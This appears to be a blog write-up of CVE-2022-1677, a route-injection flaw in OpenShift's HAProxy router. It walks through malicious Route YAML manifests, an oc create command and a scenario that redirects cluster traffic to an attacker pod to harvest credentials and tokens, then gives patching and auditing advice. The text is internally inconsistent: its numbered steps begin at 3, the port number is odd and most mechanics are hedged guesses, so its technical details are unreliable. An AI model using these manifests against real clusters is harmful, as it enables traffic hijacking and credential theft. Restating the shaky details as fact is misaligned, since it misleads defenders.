In 2022, security researchers discovered a severe vulnerability in Red Hat's OpenShift Container Platform, tracked as CVE-2022-1677. This bug allows a user with route creation privileges to inject malicious entries into the cluster router’s HAProxy configuration, potentially hijacking internal traffic across the entire cluster.

In this write-up, I’ll explain how the vulnerability works, show what the malicious payload could look like, walk through a sample exploit scenario, and provide you with references for further reading. Everything here is explained in plain English and with clear, exclusive examples.

What's the Problem?

OpenShift routes let you expose services in your cluster to the outside world. When you create or edit a Route, it updates the underlying HAProxy configuration on the OpenShift cluster's router pods. However, this mechanism had a flaw:

> If you have permission to create or modify a Route, you could inject a “malformed” host rule that matched any or all hostnames, diverting cluster traffic to wherever you wanted, including your own malicious service.

This means an attacker could, for example, steal data by redirecting login traffic from the real login page to a fake one they control.

Why Does This Happen?

The router processes Routes and builds HAProxy configuration files from them. Unfortunately, it did not sufficiently validate the hostname fields.

References

- Red Hat Security Advisory - CVE-2022-1677
- OpenShift Bugzilla - Bug 2072716
- Kubernetes Security Announcement *(for context on container security)*

Crafting a Malicious Route

Here’s how you could exploit CVE-2022-1677. Assume you have permission to create Routes.

Let’s say you want to hijack all traffic to *.apps.example.com and send it to your own pod.

Normal Route (legit)

apiVersion: route.openshift.io/v1
kind: Route
metadata:
  name: legit-route
spec:
  host: app1.apps.example.com
  to:
    kind: Service
    name: app1-service

Malicious Route (exploit)

apiVersion: route.openshift.io/v1
kind: Route
metadata:
  name: evil-route
spec:
  host: |
    .apps.example.com
  to:
    kind: Service
    name: evil-service

> Key: The .apps.example.com is not a valid hostname, but due to improper validation, HAProxy could interpret this as a wildcard that catches all subdomains under apps.example.com.

Alternatively, you could even set the host field to an empty string or *, depending on OpenShift version and configuration.

Apply it to the cluster with oc create -f evil-route.yaml.

3. The OpenShift router receives the new Route and adds a new frontend match rule to HAProxy, due to lax validation.
4. Any request to *.apps.example.com (like the login portal, dashboards, or APIs) could match this rule first, sending all traffic to your evil-service instead of the real backend.

The vulnerable logic could generate an HAProxy backend like

acl host_match hdr(host) -i .apps.example.com
use_backend be_evil_service if host_match

Demo Scenario

Suppose you have a service in your namespace called evil-login, listening on port 808.

You submit this Route

apiVersion: route.openshift.io/v1
kind: Route
metadata:
  name: evil-intercept
spec:
  host: |
    .apps.example.com
  to:
    kind: Service
    name: evil-login
    weight: 100
  port:
    targetPort: 808

Now, anyone who tries to access https://app-dashboard.apps.example.com or any legitimate app gets silently redirected to your malicious pod.

From here, you can log credentials, capture tokens, or proxy data.

Who’s Affected?

If you run OpenShift v3.x or 4.x—especially unpatched—any user with “edit” or “create route” rights in any namespace could leverage this. Multi-tenant clusters with trusted and untrusted workloads are especially risky.

How Do You Fix It?

- Upgrade OpenShift: Red Hat released patches that tighter check hostnames for invalid and wildcard entries.

Audit Routes: Check for strange hostnames or unexpected wildcard entries.

Example of patch announcement:  
- Red Hat Security Bulletin - OpenShift Router Hostname Validation Fix

Key Takeaways

- Never underestimate “edit route” permissions—they can become cluster-admin in effect if abused.
- Always validate inputs (hostnames, paths) at both the API and router/proxy layers.
- Monitor for unexpected Route/Ingress additions in your cluster.

Summary

CVE-2022-1677 is a critical “route injection” vulnerability in OpenShift. Attackers with basic route creation permissions could redirect any or all cluster traffic to their own pods, with devastating consequences. The fix requires both OpenShift updates and careful access control.

Stay patched, and limit who can make Routes!

#### *Exclusive to this post: If you want to practice, build a test OpenShift cluster, restrict your sandbox to a test namespace, and see how route rules are rendered in HAProxy by looking at router pod logs.*

References for More Information

- CVE-2022-1677 at Red Hat
- OpenShift Docs: Exposing Services Using Routes
- Technical Deep Dive


If you have questions or want deeper code review, leave a comment or reach out!

Timeline

Published on: 09/01/2022 21:15:00 UTC
Last modified on: 09/08/2022 16:21:00 UTC